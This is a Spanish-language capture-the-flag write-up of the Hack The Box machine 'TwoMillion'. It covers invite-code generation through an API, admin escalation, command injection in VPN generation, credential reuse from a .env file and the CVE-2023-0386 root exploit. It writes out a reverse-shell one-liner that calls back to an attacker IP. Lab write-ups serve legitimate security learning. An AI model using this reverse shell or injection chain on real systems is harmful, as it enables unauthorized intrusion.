Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
HackTheBox/Maquinas/Machine TwoMillion.md READ_ONLY

Machine TwoMillion

Esta máquina consiste en vulnerar una simulación de la antigua plataforma de HackTheBox y la solución consiste en generar un código de invitación oculto a través de una API, escalar privilegios en la aplicación web, inyectar comandos en la generación de VPN para obtener acceso inicial, recuperar credenciales y explotar el CVE-2023-0386 para obtener la flag de root.

Reconocimiento

  1. Identificación de sistema operativo a través de ping
  • Como el TTL es cercano a 64, se puede deducir que la máquina es Linux.
  1. Identificación de puertos abiertos con Nmap
  • Primero se realiza un escaneo básico para identificar los puertos abiertos de la máquina:
  • Luego se hace un escaneo más detallado de los puertos abiertos para encontrar los servicios y versiones que corren en el servidor
  1. Revisión de la página web desplegada por el puerto 80 de la máquina TwoMillion
  • Al ingresar a la página desplegada por el puerto 80, se puede ver una antigua landing page de HackTheBox, por lo que para ingresar a la plataforma es necesario conseguir un código de invitación.
  1. Búsqueda en el apartado de invitación
  • Al igual que en la versión antigua de HackTheBox, al ingresar pide un código de invitación, el cual no se proporciona en ninguna parte:

  • Para obtener el código de invitación es necesario buscar dentro del código fuente de la página, específicamente un script que se llama inviteapi.min.js: En este apartado es necesario ingresar al recurso y ver qué hace1:

  • En este código se puede ver que hay una función llamada makeInviteCode, la cual se puede llamar en el navegador para tratar de conseguir un código de invitación:

  • El mensaje está codificado en ROT13 por lo que, al decodificarlo se obtiene esta cadena: In order to generate the invite code, make a POST request to /api/v1/invite/generate

  • Teniendo en cuenta esto, se puede realizar una petición POST al endpoint /api/v1/invite/generate para conseguir un código de invitación válido:

  • El código está codificado y, por lo que se puede ver, está codificado en Base64, por lo que se intenta decodificar:

  • Se prueba el código de invitación y se registra en la página:

  • Se inicia sesión con la cuenta creada anteriormente:

  1. Búsqueda en la página principal (luego de iniciar sesión)
  • Dentro de la página hay un apartado que llama la atención llamado "Access", por lo que se ingresa para ver su contenido:

  • En este apartado se encuentra un botón que aparentemente permite descargar una VPN y, al pasar el cursor sobre este, se ve que llama al endpoint /api/v1/user/vpn/generate, por lo que se puede intentar hacer una petición a /api/v1 para tratar de listar los endpoints que están disponibles en la página2:

  • Se puede observar que hay un endpoint PUT /api/v1/admin/settings/update desde el cual se puede cambiar la configuración de un usuario, posiblemente para convertirlo en administrador, por lo que se intenta usar dicho endpoint3:

  • Luego de esto, se puede probar con el endpoint /api/v1/admin/vpn/generate para ver qué responde4:

Acceso como usuario no privilegiado

  1. Ejecución remota de comandos por medio de petición
  • Una vez conseguida la respuesta, se puede intentar inyectar comandos por medio de la petición de la siguiente manera:

  • De esta manera se podría conseguir una reverse shell con el siguiente comando: bash -c \"bash -i >& /dev/tcp/10.10.16.13/443 0>&1\"

  1. Obtención de credenciales a través de archivos ocultos
  • Se listan los archivos ocultos y se encuentra un archivo .env, del cual se puede intentar obtener credenciales válidas:

  • Con las credenciales obtenidas (admin/SuperDuperPass123), se intenta acceder al usuario "admin" por SSH:

  • Dentro del usuario admin se encuentra la primera flag (usuario no privilegiado):

Escalada de privilegios

  1. Búsqueda en los correos del usuario admin
  • Se ingresa a la carpeta /var/spool/mail y se lista el contenido del archivo "admin":

  • Se puede ver que hay una vulnerabilidad de la cual se le está notificando, así que se puede probar dicha vulnerabilidad:

    • Desde la máquina atacante se clona el repositorio CVE-2023-0386:

    • Se comprime la carpeta:

    • Se trae el comprimido a la máquina víctima5:

  1. Ejecución del CVE
  • Se descomprime el archivo subido previamente y se siguen las instrucciones del POC:

  • Se ingresa a la carpeta /root y se accede a la flag:

Footnotes

  1. En este caso es una línea muy larga, por lo que se utiliza de4js para que sea legible. ↩

  2. En este caso es necesario poner la cookie de sesión para poder acceder al contenido de /api/v1. ↩

  3. En este caso se prueba varias veces el endpoint agregando el Content-Type y luego los valores que se van pidiendo hasta lograr cambiar el tipo de cuenta a "admin". ↩

  4. Se hace igual que en el paso anterior. ↩

  5. La IP atacante cambió debido a un cambio de equipo durante la realización del writeup. ↩